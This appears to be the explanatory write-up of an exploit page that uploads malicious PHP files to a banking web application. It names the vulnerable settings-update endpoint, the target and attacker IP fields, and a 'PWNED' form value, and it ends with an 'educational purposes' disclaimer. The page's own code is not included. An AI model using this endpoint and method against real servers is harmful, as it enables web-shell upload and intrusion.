[+] This HTML page is designed to remotely upload PHP malicious files directly.
[+] Here’s a breakdown of its components and functionality:
HTML Structure:
DOCTYPE & <html>: Defines the document type and language.
<head>: Contains meta-information about the document like character encoding and viewport settings, and the title of the page.
<body>: Contains the main content of the page.
Form Elements:
<form id="uploadForm">: A form with the ID "uploadForm" that contains input fields and a button for file upload.
<label> and <input> fields: Collect information from the user:
Target IP: IP address where the file will be uploaded.
Attacker IP: The IP address of the attacker (though this field is not used in the script).
Attacker Port: The port number of the attacker (not used in the script).
File Input: Allows the user to select a file to upload.
<button>: A button that triggers the file upload process when clicked.
JavaScript Functionality:
uploadFile(): Function executed when the "Upload File" button is clicked.
Collects input values: Retrieves values from the input fields and the selected file.
Validation: Checks if all fields are filled and a file is selected. Alerts the user if any field is missing.
FormData Object: Creates a FormData object to package the file and additional data (name with the value 'PWNED').
fetch API: Sends a POST request to the target IP with the file attached:
URL: http://${targetIP}/banking/classes/SystemSettings.php?f=update_settings
Response Handling: Logs success or failure based on the server's response. If the response is '1', it indicates success; otherwise, it logs an error.
Security Note:
Potential Risk: This script is for educational purposes, and its functionality (uploading a file to a specified server) could be misused.
It’s crucial to ensure that any file upload functionality is properly secured and validated to prevent unauthorized access or attacks.

[+] Choose the target IP .
